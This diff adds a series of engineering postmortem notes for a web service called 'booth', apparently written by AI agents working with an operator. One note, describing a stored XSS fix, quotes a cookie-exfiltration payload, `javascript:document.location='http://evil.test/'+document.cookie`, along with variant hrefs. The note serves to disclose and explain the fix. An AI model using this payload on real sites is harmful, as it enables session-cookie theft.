||||
## Version format, decided and worth not re-deriving
|
||||
|
||||
- `pyproject.toml` carries **`1.0.0b1`** — PEP 440, which is what the packaging
|
||||
tool normalizes `1.0.0-beta.1` to anyway.
|
||||
- The git tag is **`v1.0.0b1`**, matching the artifact string exactly rather
|
||||
than carrying a SemVer spelling the wheel does not. One string, no translation
|
||||
layer.
|
||||
- Ordering verified: `0.6.1 < 1.0.0b1 < 1.0.0`.
|
||||
|
||||
## ⚠ The version was TWO copies, and the obvious fix was the wrong one
|
||||
|
||||
`booth.__version__` was the literal `"0.1.0"` and had been wrong through six
|
||||
releases. Nothing reads it, which is why nobody noticed.
|
||||
|
||||
**The reflex fix — derive it from `importlib.metadata` — is WRONG HERE, and
|
||||
measurably so.** This repo has no build step and no install step: `booth.service`
|
||||
runs uvicorn with `WorkingDirectory` set to the tree, so the running code IS
|
||||
this checkout. Installed metadata describes a different artifact. The venv was
|
||||
carrying a vestigial `booth-0.3.0.dist-info` **with no package directory behind
|
||||
it**, so `importlib.metadata.version("booth")` returned `0.3.0` for a tree at
|
||||
`1.0.0b1` — confidently wrong, and varying by environment, which is worse than
|
||||
a literal that at least fails the same way everywhere.
|
||||
|
||||
It now reads `pyproject.toml` via `tomllib`, with metadata as the fallback for
|
||||
the wheel case this repo does not have. **The test asserts the ABSENCE OF A
|
||||
LITERAL, not agreement with pyproject** — comparing the two would be circular
|
||||
and would prove only that the read works. The defeating change is hardcoding a
|
||||
number back in, and that is what is caught.
|
||||
|
||||
## ⚠ `booth/__init__.py` is a FOURTH stdlib-only module
|
||||
|
||||
`scripts/booth` imports `booth.links` / `booth.marks` / `booth.manifest` under
|
||||
the SYSTEM python3 with no venv — and every one of those executes the package
|
||||
root first. So a single third-party import in `__init__.py` breaks `booth ask`
|
||||
on every fleet host exactly as one in the documented three would, and **nothing
|
||||
asserted it.** `test_stdlib_only` now covers `__init__`; `tomllib` is stdlib and
|
||||
`requires-python` is `>=3.11`, so the pyproject read is safe there. Verified by
|
||||
running the real import chain under `/usr/bin/python3` 3.11.2 with no venv.
|
||||
|
||||
## Handoff sent
|
||||
|
||||
The SVOS design-system retrofit went to `design-dev` (althing thread
|
||||
`01M369321KNBPZ7FYDQGZG7AXP`) — the IA is ours and settled, the visual and
|
||||
interaction system is his. **ACCEPTED in-session within five minutes**; he
|
||||
declined a `/vor-ui` brief on the grounds that the IA doc, the landed templates
|
||||
and the seven constraints already are one, and a `/vor-ui` pass would cost the
|
||||
operator a serial Q&A to re-derive IA we had already measured. Agreed.
|
||||
|
||||
⚠ **A `postbox send` note is a POINT-IN-TIME SNAPSHOT, not a durable fact about
|
||||
a handle.** The send response said `design-dev: pull-only; last read
|
||||
2026-09-21T18:44Z`, and this file first recorded that as standing truth —
|
||||
including a "silence is not a decision" warning built on it. `postbox handles`
|
||||
says **`design-dev push reachable`**, and his reply landed in-session. Read the
|
||||
mode from `postbox handles` when it matters; never promote a send-time note into
|
||||
memory.
|
||||
@@ -0,0 +1,70 @@
|
||||
# The blur round-trip, and the migration that recreated the bug it fixed
|
||||
|
||||
_2026-09-23 → 2026-09-24. Operator: "fix the blur." Commits `4cfbce5`,
|
||||
`c1f5543` (merged `6880ab3`), `8a78a9b`._
|
||||
|
||||
## The defect
|
||||
|
||||
design-dev's r2b bug-hunt found the `/blur` route stripping `f`, so the form for
|
||||
`" a.png"` blurred `"a.png"`. The route was only half of it: `.blurred` was one
|
||||
stripped rel per line, so NO writer could store a rel with edge whitespace or a
|
||||
newline. There were no live victims (6 legacy files, 42 rels, none with edge
|
||||
whitespace; 0 live filenames with edge whitespace), so it was latent.
|
||||
|
||||
## Round 1 (`4cfbce5`)
|
||||
|
||||
- JSON array (the `.seen` shape) through a new stdlib-only `booth/blur.py`, so
|
||||
the CLI and the service share one reader and one writer. The CLI had its own
|
||||
grep/printf line writer, and after the format change it would have appended a
|
||||
line to a JSON array.
|
||||
- `Item.blurred_self` resolved in `booth_items` from the same read as
|
||||
`blurred`, replacing build_gallery's second `read_blurred`. That was a
|
||||
two-reads-of-one-file seam (invariant 3).
|
||||
- Built in a git worktree, because `scripts/booth` imports from the deployment
|
||||
root LIVE: a half-built blur.py would have broken `booth blur` for every
|
||||
session mid-TDD.
|
||||
|
||||
## Round 2: heid bug-hunt (hulda, regin, kimi; groa timed out) → `c1f5543`
|
||||
|
||||
- **3/3: the migration recreated the bug.** JSON went into the OLD file name
|
||||
and the reader sniffed the format. A legacy file whose one line is an item
|
||||
named `["a.png"]` parses as JSON and blurs the neighbour. The docstring
|
||||
claimed that case was handled, and it wasn't. Fix: a NEW name,
|
||||
`.blurred.json`. The legacy `.blurred` is lines only, read only while
|
||||
`.blurred.json` is absent, and retired by the first write.
|
||||
- 2/3 + one: a planted directory 500'd the write path; the read path was
|
||||
hardened and the writer was not. Fix: the writer is judged by its reader (a
|
||||
postcondition), with BlurUnwritable answered as a 409.
|
||||
- hulda (execution-verified): a lone surrogate `"\ud800"` in planted JSON made
|
||||
every later write raise UnicodeEncodeError. Now dropped on read.
|
||||
- 2/3: the writer had no size cap, and the reader reads an oversized file as
|
||||
EMPTY. The writer now refuses first.
|
||||
- 2/3: the CLI's `*..*` refused `a..b.png`, which the route accepted. There's
|
||||
now one `check_rel` predicate for both, which also refuses an empty rel.
|
||||
- kimi: `booth blur` without its package printed a bare traceback. It now
|
||||
fails closed with exit 3, like `link`.
|
||||
- Declined: the Item positional-constructor break (booth_items is the only
|
||||
constructor, INV-1); the fdopen fd leak and the short read (not
|
||||
constructible on a local fs, the `.seen` shape); unreadable reads as
|
||||
revealed (blur is cosmetic, the `.seen` posture).
|
||||
|
||||
## Round 3: groa's late retry → `8a78a9b`
|
||||
|
||||
Its four bugs were the same four, already fixed. Its 0600 note ("a cross-uid
|
||||
reader sees nothing and replaces it") exposed the real gap: `set_blurred`
|
||||
built on `read_blurred`, the renderer's LENIENT reader, so an unreadable,
|
||||
oversized or malformed file became an empty set and was overwritten. That is
|
||||
the `.marks.json` wipe of 2026-09-21
|
||||
([[2026-09-21-tolerant-writer-over-tolerant-reader]]), repeated in a new module
|
||||
and live for one night. Fix: `_load` is one parse with two postures (strict
|
||||
for the writer, lenient for the renderer). It refuses only for a REGULAR file
|
||||
it cannot read, since a link, a directory or a FIFO holds no set to lose. The
|
||||
file is 0644 again.
|
||||
|
||||
## Mutation notes
|
||||
|
||||
- `blur_storage.toml` is 25/25.
|
||||
- One row was vacuous on its first run (`set() or X` is `X`).
|
||||
- Two open-flag rows went vacuous once `_load` lstat-checked for a regular
|
||||
file first. They're now proved by direct `_read_capped` tests, because they
|
||||
still close the lstat-to-open race.
|
||||
@@ -0,0 +1,42 @@
|
||||
# Creation dates, and three guesses wearing a fact's clothes
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
The operator asked for creation and update dates on booths. **Update** was
|
||||
already there — `landed_at`, the newest mtime among CONTENT excluding our own
|
||||
machinery. **Creation** had no honest source, and the interesting part is the
|
||||
three wrong answers.
|
||||
|
||||
## Only 18 of 30 booths could state a creation time
|
||||
|
||||
`.booth.json` carries a declared `created`, but it exists only for booths posted
|
||||
through the CLI since U5. Twelve live booths had nothing.
|
||||
|
||||
## ⚠ Every convenient substitute was a GUESS PRESENTED AS A FACT
|
||||
|
||||
- **Oldest content mtime** — wrong the moment an agent copies files with
|
||||
timestamps preserved (`cp -p`, `rsync -a`), which is common. It would report
|
||||
the SOURCE material's age as the booth's.
|
||||
- **Directory mtime** — that is "last thing added", i.e. `landed_at` under a
|
||||
second name. Two fields, one meaning, displayed as if they were different.
|
||||
- **Stamp a first-seen marker on read** — and this is the one worth flagging,
|
||||
because it is the same write-on-read shape that had *already* cost this
|
||||
service an hour that same day when the thumbnail cache aged the booth it
|
||||
cached ([[2026-09-23-the-cache-that-aged-the-thing-it-cached]]). A fix whose
|
||||
shape you just finished paying for is not a fix.
|
||||
|
||||
## The answer was a fact the disk already held
|
||||
|
||||
**ext4 records a real birth time.** CPython does not expose `st_birthtime` on
|
||||
Linux, but `statx(2)` does and glibc has wrapped it since 2.28, so
|
||||
`booth/birthtime.py` reads it through `ctypes`. Verified against `stat(1)` on
|
||||
live booths: **6 of 6 exact**, including every booth with no manifest.
|
||||
|
||||
One rule for all thirty, which is what invariant 6 asks of anything statable in
|
||||
a line. `None` when the filesystem cannot say (tmpfs, NFS, an old kernel), and
|
||||
**None renders as nothing** — a blank is the honest output when nobody knows,
|
||||
and better than a plausible number.
|
||||
|
||||
**The generalisable bit:** when a fact seems unavailable, check whether the
|
||||
system already records it before reaching for a proxy. Three plausible proxies
|
||||
were considered and one was nearly built; the real answer was a syscall away.
|
||||
@@ -0,0 +1,30 @@
|
||||
# The Desk's "Everything else" sorts by last UPDATE, not last activity
|
||||
|
||||
_2026-09-23. Commit `64f6488`. Operator: "how is this last activity first?",
|
||||
then "Easier — last activity can just be last time the booth was updated, not
|
||||
necessarily operator's last activity."_
|
||||
|
||||
## What was wrong
|
||||
|
||||
- The section sorted by `_newest_mtime`, which counts `.viewed`. Every GET of a
|
||||
booth, marks or review page records a look.
|
||||
- Two sessions' post-deploy GET sweeps (17:48 and 21:46, both 127.0.0.1)
|
||||
recorded a look at 22 booths within half a second. The section collapsed
|
||||
into reverse name order through the `(mtime, name)` reverse tie-break.
|
||||
- The rows show "updated X ago" (`landed_at`), a different clock from the sort.
|
||||
- The same sweeps emptied "new since you looked". The access log showed 3
|
||||
booths never opened from a 10.0.10.x or 100.64.x device: `dfa-landing`,
|
||||
`ldp-polish`, `pewpew-ui-brief`.
|
||||
- **The operator declined repairing `.viewed` from the log** (the mesh IPs
|
||||
can't be attributed with certainty), and declined gating views on
|
||||
`Sec-Fetch-Dest`. Both were offered.
|
||||
|
||||
## The fix
|
||||
|
||||
- `rest.sort(key=(-landed_at, name))`, labelled "last updated first".
|
||||
- `list_booths` keeps its order for its other readers, and `_newest_mtime`
|
||||
still feeds lifetime.
|
||||
- The r2_flow contract (§3, the ordering table, INV-5) and the ROADMAP ordering
|
||||
row were amended.
|
||||
- CLAUDE.md "Working in here" now says how to check live without recording a
|
||||
look.
|
||||
@@ -0,0 +1,58 @@
|
||||
# The browser suite is flaky under load — UNRESOLVED, and owned by design-dev
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
⚠ **OPEN. Not fixed. Do not read a green suite as proof of anything without
|
||||
re-running it.**
|
||||
|
||||
## What is observed, with its limits
|
||||
|
||||
**Three different browser tests** have each failed once under full-suite load
|
||||
while passing repeatedly in isolation:
|
||||
|
||||
| test | owner | isolation | full suite |
|
||||
|---|---|---|---|
|
||||
| `test_the_keyboard_flag_actually_submits` | booth-dev | 5/5 pass | 1 failure |
|
||||
| `test_a_failed_save_says_so_reloads_and_never_re_posts` | design-dev | 3/3 pass | 1 failure |
|
||||
| `test_the_review_keys_judge_in_place_and_stay_out_of_the_note` | design-dev | 10/10 + 5/5 pass | 1 in ~9 |
|
||||
|
||||
Three different tests points at **the environment under contention**, not at any
|
||||
one test. That is a direction, not a finding.
|
||||
|
||||
## Two real defects found chasing it — NEITHER PROVEN TO BE THE CAUSE
|
||||
|
||||
1. **A keypress race.** The flag test fired `ArrowRight` and `f` back to back,
|
||||
assuming the first had finished — but `focus()` does a `scrollIntoView`, so
|
||||
under load `f` could arrive with no cursor set. Now waits for
|
||||
`figure.item.is-cursor`.
|
||||
2. **A port TOCTOU in BOTH browser fixtures.** Each did `bind → getsockname →
|
||||
CLOSE → hand uvicorn the port NUMBER`, leaving a window for the kernel to
|
||||
give that port away — and this suite runs two browser files that each start a
|
||||
server per test, so the competitor is the other file. The bound socket is now
|
||||
passed to `server.run(sockets=[sock])`.
|
||||
|
||||
**Since those fixes: one failure in three full runs. n=3 CANNOT distinguish
|
||||
that from the prior rate, and no claim of improvement is made.**
|
||||
|
||||
## Who owns it and what the method is
|
||||
|
||||
**The operator ruled: "let him diagnose it properly."** design-dev owns it. His
|
||||
method: a trace hook keeping a Playwright trace (screenshots + DOM snapshots)
|
||||
for every browser test that fails, captured **from the run that fails**, then
|
||||
full-suite runs until red and the artefact decides. Test-only infra, on his
|
||||
branch as its own commit.
|
||||
|
||||
⚠ **The methodological trap, and why the artefact must come from the full
|
||||
suite:** the failure only reproduces there. A narrowed repro that passes proves
|
||||
nothing and will be mistaken for a fix.
|
||||
|
||||
## Addendum 2026-09-24 — the offline fix, and what 0/24 can and cannot say
|
||||
|
||||
design-dev's suspect was Google Fonts stalling "networkidle". A stalled font
|
||||
request reproduces the exact error (which shows sufficiency only). The fix
|
||||
landed in `b92b002`: the test browser has no internet, with a positive control
|
||||
per fixture. Traced runs: 0/15 (light) and 0/8 (heavy). No trace ever caught
|
||||
the stalled request. Untraced after the fix: **0 reds in 24**, against a pre-fix
|
||||
rate of 1 in 8 that is itself one red in eight runs (95% CI roughly 0.3–53%).
|
||||
At a true rate of 1 in 20, 0/24 happens 29% of the time. So it's consistent
|
||||
with the fix and not a confirmation of the cause.
|
||||
@@ -0,0 +1,77 @@
|
||||
# The bug-hunt panel found six defects and five vacuous falsifiers
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, althing thread
|
||||
`01M368G2Y0JMTJ2T7M3JMTXV5Z`. Landed at `397ea89`. **Four of the six fixes are
|
||||
for defects no test in this repo could have caught**, and the guard-strength
|
||||
sections did something the findings alone would not have.
|
||||
|
||||
## ⚠ The mechanic worth keeping: browsers match a fragment RAW FIRST
|
||||
|
||||
The group anchor and the tile id were BOTH the raw rel. That reads as "merely
|
||||
unencoded" and it is not — it is **ambiguous**, because the HTML spec's
|
||||
scroll-to-fragment tries an exact match on the raw fragment and only THEN on the
|
||||
percent-decoded one. So with `a b.png` and `a%20b.png` in one booth, the first's
|
||||
href resolves to the fragment `item-a%20b.png` and **the raw pass matches the
|
||||
SECOND file's id.** The jump lands on the wrong artifact — invariant 6's
|
||||
misfiled-judgment failure, arriving through a path invariant 6 never looked at.
|
||||
|
||||
**The fix has to move BOTH sides.** Encoding the anchor alone just relocates the
|
||||
collision. Both now use `Item.url` (`quote(rel, safe="/")`), which is injective
|
||||
here (`a b` → `a%20b`, `a%20b` → `a%2520b`) and is the convention `booth_flag`
|
||||
has always used. The panel's agreed fix (`quote(name, safe='/')` on the anchor)
|
||||
was half of it; the correction went back to them.
|
||||
|
||||
## The blast radius nobody had measured
|
||||
|
||||
**One non-UTF-8 filename 500s the INDEX for every booth**, not just its own
|
||||
page. A 0xff byte reaches CPython as a surrogate, `quote` raises on it outside
|
||||
any per-item handler, and `booth_items` feeds `list_booths` as well as the
|
||||
gallery. Same shape as
|
||||
[[2026-09-22-lenient-reader-blast-radius]]: the per-item read looks local and
|
||||
is not. Such a file cannot be linked, served or zipped, so it is now skipped
|
||||
like a dotfile.
|
||||
|
||||
## ⚠ FIVE VACUOUS FALSIFIERS IN ONE UNIT
|
||||
|
||||
The count that matters. Three arms **independently** found that
|
||||
`test_every_group_anchor_lands_on_a_rendered_tile` survived `v[0]` → `v[-1]`:
|
||||
it asserted the href occurred as SOME id on the page, which stays true while
|
||||
pointing at the wrong one. Hulda's guard table added two more (the
|
||||
informativeness guard survived `sizes[-1]`; the group count survived
|
||||
`len(v) + 1`). Two more were mine, found after:
|
||||
|
||||
- the zero-hit filter test used the shared `gallery` fixture, which **has** a
|
||||
flagged item — so it passed without ever reaching the empty-filter state it
|
||||
names;
|
||||
- the escaping test asserted over the whole page and went red on a **code
|
||||
comment** containing the string it forbade.
|
||||
|
||||
**A guard-strength pass is the highest-value part of a panel on a well-tested
|
||||
diff.** Regin's "unusually well-tested already" and Kimi's "the commentary was
|
||||
accurate everywhere except where it didn't mention encoding at all" are both
|
||||
true and point at the same thing: the findings were in the gaps the commentary
|
||||
was confident about.
|
||||
|
||||
## Accepted known risks, documented rather than implied
|
||||
|
||||
- **No cap on rail row count.** 1,000 groups of two renders 1,000 rows and
|
||||
passes the median guard. Largest live booth is 66 items; picking a cap without
|
||||
a booth that needs one is the invented work the roadmap gate prevents.
|
||||
- **`Item.group` sits mid-dataclass.** Two arms flagged the positional-construction
|
||||
break and both correctly tagged it robustness with the caller outside the
|
||||
bundle. **There is no such caller** — `Item(` appears at exactly one site,
|
||||
keyword-only. Category-5 triage: not adopted, grep recorded.
|
||||
|
||||
## Held for design-dev, not fixed
|
||||
|
||||
`.rail` is sticky with no `scroll-margin`, so a fragment jump parks the target —
|
||||
and the `:target` outline meant to show where it landed — UNDER the rail. Real,
|
||||
one line, and in the stylesheet he is rewriting from scratch. Routed to him.
|
||||
|
||||
## Seat miss, reported back
|
||||
|
||||
Two arms flagged that Heid's canon G1 says Flask while the service is FastAPI —
|
||||
carried from an earlier booth-round template. Hulda handled it by reading the
|
||||
bundle rather than the canon.
|
||||
@@ -0,0 +1,56 @@
|
||||
# The cache that aged the thing it cached
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
**Thumbnails: 77.5 MB → 0.78 MB on the biggest gallery, ~100 MB → 1.12 MB on
|
||||
the Desk.** The operator found the defect in about a minute of using the live
|
||||
redesign. Two lessons, and the second nearly shipped.
|
||||
|
||||
## ⚠ LESSON 1 — we parked it on a count and the cost was in the bytes
|
||||
|
||||
ROADMAP parked progressive loading on *"the largest gallery is 66 images; at
|
||||
that size a lazy grid is almost certainly fine"*, and the parking-lot row said
|
||||
*"270 `<img loading=lazy>` may be fine."* **Both count IMAGES. Neither weighs
|
||||
BYTES.** 66 is a fine count sitting on 77.5 MB of 1024×1024 PNGs rendered at
|
||||
250px — roughly 16× the pixels that reach the screen.
|
||||
|
||||
The rule "measure the real booth before optimising it" was followed and still
|
||||
produced the wrong answer, because **we measured the dimension that was easy to
|
||||
measure rather than the one that determines the experience.** Before parking
|
||||
anything on a measurement again, ask what the user would actually feel.
|
||||
|
||||
## ⚠ LESSON 2 — a cache INSIDE the thing it describes can age it, and excluding the cache is not enough
|
||||
|
||||
`.thumbs/` lives inside the booth on purpose, so it is swept with the booth and
|
||||
can never outlive what it describes. But `_newest_mtime` — which feeds
|
||||
`is_expired`, which feeds `rmtree` — walks the booth, so **the server writing a
|
||||
cache on a mere view counted as the operator touching the booth.**
|
||||
|
||||
**The first fix passed its own test and was still wrong.** Excluding every path
|
||||
under `THUMB_DIR` does not help, because **creating the directory touches the
|
||||
BOOTH DIRECTORY's own mtime**, and `_newest_mtime` SEEDS from exactly that. The
|
||||
cache's contents were excluded; its *existence* was the leak.
|
||||
|
||||
The fix restores the booth's stamp across the `mkdir`. That cannot hide real
|
||||
activity: any file an agent adds is counted by its own mtime in the same walk,
|
||||
so the directory stamp is only a seed.
|
||||
|
||||
**The blast radius if it had reached the Desk.** The Desk pulls a preview
|
||||
thumbnail per booth, so ONE INDEX LOAD would have pushed EVERY booth's expiry
|
||||
out — the TTL would never fire again and nothing would ever sweep. Caught by
|
||||
design-dev from the outside, hours before the strip landed; verified after the
|
||||
fix on the live set: **29 booths, two Desk loads, 22 caches generated, 0 clocks
|
||||
moved.**
|
||||
|
||||
`.viewed` counting as activity is different and deliberate — that is a record of
|
||||
a *person* looking, which U4 says is activity. **A server-written derived cache
|
||||
is machinery, like the `.lock` sidecars already excluded.** Any future cache
|
||||
inherits this: exclude it from the clock AND preserve the parent's stamp.
|
||||
|
||||
## A third, smaller one: the dot-namespace was only skin deep
|
||||
|
||||
`booth_items` and `zip_booth` both tested `p.name.startswith(".")` — the FILE's
|
||||
name — so `.thumbs/a.png` (name `a.png`) would have rendered as a gallery item
|
||||
and shipped inside every zip download. CLAUDE.md invariant 2 promises a dotfile
|
||||
costs nothing in item counts, galleries or zips; **that was true only at the top
|
||||
level.** Both now skip every dot-prefixed path COMPONENT.
|
||||
@@ -0,0 +1,68 @@
|
||||
# The flow rulings, and what they cost the beta
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
**All four ruled, all four taking design-dev's recommendation, no notes
|
||||
attached.** Relayed via Miranda (D-0016) with the instruction that **the
|
||||
operator will not brief design-dev directly and booth-dev is the SOLE RELAY.**
|
||||
|
||||
| question | choice | label |
|
||||
|---|---|---|
|
||||
| `direction` | `a_b` | A + B's reel as the review mode |
|
||||
| `compare` | `this_arc` | Build it in this arc, after A/B land |
|
||||
| `voice` | `plain` | Plain and direct |
|
||||
| `emblem` | `no` | No |
|
||||
|
||||
Answered `2026-09-23T08:07:40-07:00`, `complete: true`, `unanswered: []`.
|
||||
**Verbatim copy committed at `docs/rulings/2026-09-23-flow-direction.json`** —
|
||||
see the durability note below for why that is not belt-and-braces.
|
||||
|
||||
## ⚠ ANSWERING A PICK REMOVES THE HOLD THAT WAS PROTECTING THE RECORD
|
||||
|
||||
U4's hold predicate is "has an open pick" — a booth waiting on the operator does
|
||||
not sweep. **The moment he answers, it stops being held**, so a booth's
|
||||
lifetime is shortest exactly when it has just become valuable: before the answer
|
||||
it is a question, after the answer it is the RECORD OF A DECISION, and only the
|
||||
first state is protected.
|
||||
|
||||
`booth-flow-concepts` held the ratified design AND the operator's recorded
|
||||
answer, with `.forever=NO` and zero open picks — sweep-eligible within minutes
|
||||
of the ruling. Same shape as round 1, arriving by a different route:
|
||||
`booth-svos-retheme` lost its hold when design-dev WITHDREW his ask; this one
|
||||
lost it when the operator ANSWERED. Two different actions, one exposure.
|
||||
|
||||
The durable copy now lives in git rather than in a booth. **This is not a bug
|
||||
report against U4** — an answered question genuinely is not waiting on anyone —
|
||||
but it is a real question about whether "held" is the right predicate for a
|
||||
booth that has become a record. Flow and requirements are design-dev's now, so
|
||||
it is his to weigh; raised to him rather than patched by us.
|
||||
|
||||
## What the rulings cost the version
|
||||
|
||||
**`v1.0.0b1` promised "feature-complete, no new features, the remaining work is
|
||||
bugs."** A flow redesign plus compare mode is not that. Three things follow:
|
||||
|
||||
1. **The tag stays exactly as written.** It records what was believed on
|
||||
2026-09-22, not a claim about today. Rewriting a released tag to flatter the
|
||||
present is how a version stops being evidence.
|
||||
2. **Dropping back to an alpha is NOT available.** `1.0.0a2` sorts BELOW
|
||||
`1.0.0b1` and versions do not go backwards. The policy's "if you are adding
|
||||
features to a release candidate, it was never a release candidate" advice has
|
||||
no legal expression here.
|
||||
3. **No further pre-release until the arc lands.** Commits accumulate; the next
|
||||
tag is whatever is honest when there is something to release.
|
||||
|
||||
**Whether `1.0.0` waits for the redesign is the operator's and is NOT YET
|
||||
MADE.** Our recommendation is that it does: he treats this as one arc (the
|
||||
standing no-announcements ruling says "until the entire arc is done"), and
|
||||
cutting the 1.0 milestone on a UI he rejected as "still looks like the booth"
|
||||
would make the milestone mean something he does not endorse.
|
||||
|
||||
## Compare mode left the parking lot, and the deferral was OURS
|
||||
|
||||
Parked since the v1 gate as "the only new capability rather than a fix for a
|
||||
measured defect." design-dev argued it belongs in this arc; the operator agreed.
|
||||
ROADMAP records **that it was his call that moved it**, so nobody re-parks it by
|
||||
reading the older rule. Practically: the item-record work compare needs is in
|
||||
scope for us, not deferred, and he tells us what a compare view wants from
|
||||
`booth_items` rather than working around the current shape.
|
||||
@@ -0,0 +1,52 @@
|
||||
# The probe that nearly dismissed a live injection vector
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
**The standing link board rendered agent-written hrefs with no scheme guard.**
|
||||
Seventeen handles append to `links.md` and the operator clicks its rows, so
|
||||
`javascript:document.location='http://evil.test/'+document.cookie` was a
|
||||
clickable link executing in the Booth's own origin. `//evil.test/x` and
|
||||
`data:text/html,…` rendered too.
|
||||
|
||||
Found by **design-dev**, in passing, in code his unit does not touch. Fixed the
|
||||
same hour: `links.py` derives `is_safe_href` once per row, the template links
|
||||
only when it is true, and a refused row still renders inert and labelled —
|
||||
the operator should see that something was posted and that we would not link it.
|
||||
|
||||
## ⚠ THE NEAR-MISS IS THE PART WORTH KEEPING
|
||||
|
||||
**We probed with `javascript:alert(1)`, watched it get refused, and almost
|
||||
closed the finding as already-guarded.**
|
||||
|
||||
It is refused — **by the markdown link regex.** `alert(1)`'s parentheses break
|
||||
`](...)`, so the row never parses. That is an accident of syntax, not a guard,
|
||||
and it refuses exactly the payload everybody reaches for first.
|
||||
`javascript:x=1` walks straight through.
|
||||
|
||||
**Generalise it: a negative result from the most obvious probe is the least
|
||||
trustworthy kind.** The canonical payload is canonical because it is memorable,
|
||||
not because it is representative — and a filter that happens to catch the
|
||||
memorable one looks exactly like a filter that works. The `is_safe_href`
|
||||
docstring now tells the next person not to re-probe it with anything containing
|
||||
brackets.
|
||||
|
||||
## The second trap: a guard that answers a different question
|
||||
|
||||
`booth_target` HAS an `http(s)` scheme check (`links.py:236`) and it is NOT this
|
||||
guard. It answers *which booth does this URL name*, so it refuses every
|
||||
legitimate off-board link and can never serve as a render-safety test. Reading
|
||||
the codebase for "is there a scheme check" finds it and stops.
|
||||
|
||||
**Two things that look like the guard were in the way of finding there wasn't
|
||||
one.** That is what made this survive as long as it did.
|
||||
|
||||
## Shape of the fix, for the next one
|
||||
|
||||
Derived ONCE in `links.py` and carried on the row, not decided in the template —
|
||||
the same one-resolver discipline U1 states for item facts. A template that
|
||||
decides safety is a second place for the rule to be wrong.
|
||||
|
||||
`.blurred`'s round-trip weakness (one stripped rel per line, so `" a.png"` can
|
||||
blur `a.png`) was found in the same pass and is **NOT fixed** — it needs a
|
||||
format migration and that does not belong in the same hour as a merge. Recorded
|
||||
in CLAUDE.md beside `.seen`, which was written as JSON for exactly that reason.
|
||||
@@ -0,0 +1,44 @@
|
||||
# Thumbnails sized for the tile's width at 2x, not 512 on the long side
|
||||
|
||||
_2026-09-23. Operator on sindra-nude-final: "the images look blurry until
|
||||
they're selected and blown up." Commits `c2b1454`, `c19d8c9`, merged
|
||||
`1d31ab0`._
|
||||
|
||||
## The measurement
|
||||
|
||||
- The cap was 512px on the LONGEST side. Tiles are sized by WIDTH (`width:100%;
|
||||
height:auto`).
|
||||
- Chromium put desktop tiles at 321-361 CSS px (3 columns, 1440px viewports
|
||||
and up), 324-472 at 2 columns, and up to 650 at 1 column (measured across a
|
||||
360-2560 viewport sweep).
|
||||
- A 704x1408 portrait got a 256-wide thumbnail: stretched 1.4x at 1x density
|
||||
and 2.8x on a 2x screen.
|
||||
- The live sizes are mostly 704x1408, 896x1216, 832x1216 and 1024x1024
|
||||
portraits (368 images sampled).
|
||||
|
||||
## The rule
|
||||
|
||||
- `THUMB_WIDTH = 768` (2x the widest desktop tile) and `THUMB_HEIGHT_MAX =
|
||||
4096`.
|
||||
- An original that fits is served as-is only when it's also light (<=64 KB;
|
||||
768-wide thumbnails average 39 KB) or animated.
|
||||
- `tests/test_thumbs_browser.py` binds 768 to the rendered grid at 1440, 1920
|
||||
and 2560.
|
||||
- Cost across all 381 live images: 4.8 → 14.2 MB at 768; 1024 would have been
|
||||
18.5 MB. Live rebuild: 14.5 MB, 369 webp and 12 originals, 9 s.
|
||||
- **The operator kept 768 (2026-09-24).**
|
||||
|
||||
## heid bug-hunt (4/4, five seat-executed probes) → `c19d8c9`
|
||||
|
||||
- A cache hit must be a REGULAR file with its source's EXACT mtime. A planted
|
||||
directory was served as the thumbnail, and `cp -p` pinned stale ones
|
||||
forever.
|
||||
- The cache dirs are made component by component without following links. A
|
||||
`.thumbs` link put the cache outside the booth.
|
||||
- The temp file is mkstemp. `<out>.<pid>.tmp` was plantable as a link: 600 B
|
||||
became 316,400 B.
|
||||
- Palette transparency survives. This one was INTRODUCED by `c2b1454`'s
|
||||
fits-but-heavy branch.
|
||||
- EXIF orientation is honoured.
|
||||
- A 64 MP decode budget.
|
||||
- The whole rule is in the cache name: `.768x4096q78v2.webp`.
|
||||
@@ -0,0 +1,40 @@
|
||||
# The r3 seam pass: what only it could see
|
||||
|
||||
_2026-09-24. Contract `docs/contracts/r3_compare.contract.md` (design-dev);
|
||||
althing thread `01M3952NCDRRJX5XDFSPMSP5HJ`._
|
||||
|
||||
design-dev's heid contract panel read r3 cold. Our seam pass read it against
|
||||
the real `app.py`, `items.py`, `base.html` and `view.html`, plus small probes
|
||||
on a scratch booth. It found 12 mismatches, all folded before a line of code.
|
||||
The build then went through heid code-review and bug-hunt, and our own gate,
|
||||
with nothing structural left. design-dev: "S4 and S8 would each have cost a
|
||||
round."
|
||||
|
||||
## The ones worth remembering, because they recur
|
||||
|
||||
- **`data-region` ids must be unique on a page.** The in-place client's
|
||||
`swap()` in `base.html` keeps only the FIRST fresh node for each id, then
|
||||
replaces EVERY live node that has that id with a copy of it. Two per-side
|
||||
regions sharing an id would make B's flag button a copy of A's after any
|
||||
save, so pressing B flags A, with nothing to show it happened. Also: do not
|
||||
key a region by rel (a pair with `a == b` duplicates it) and do not prefix
|
||||
it `item-` (swap reads a missing `item-*` as a stale tile, not a reload).
|
||||
This is a mechanical rule that belongs in CLAUDE.md; it is not there yet.
|
||||
- **Moving code breaks mutation anchors.** 21 of r2c's 24 `view.html` rows
|
||||
were anchored inside the inline script that r3 moved to `_stage_js.html`,
|
||||
and `mutation_check.py` fails a row whose anchor is gone. A contract that
|
||||
moves code must list the re-pointed rows in its "Assertions that change"
|
||||
table, and gate on the table still falsifying, not only on the suite staying
|
||||
green.
|
||||
- **"404 the way view does" was two rules, and neither was view's.** A
|
||||
missing `f` is a 422 from FastAPI (required `str`), not a 404; declare
|
||||
`= ""` and 404 by hand. `booth_items` follows symlinks, so a link pointing
|
||||
outside the booth is IN `review_chain`, while view 404s it through
|
||||
resolve plus containment. Compare needed the conjunction.
|
||||
- **Route order.** `/b/{name}/{filepath:path}` is a catch-all; a new
|
||||
`/b/{name}/<word>` route must register before it. A booth file literally named
|
||||
`<word>` becomes unreachable (accepted, as for view/marks/asks/embed.json).
|
||||
- **A resolve done twice is a race.** After the merge, the review route checked
|
||||
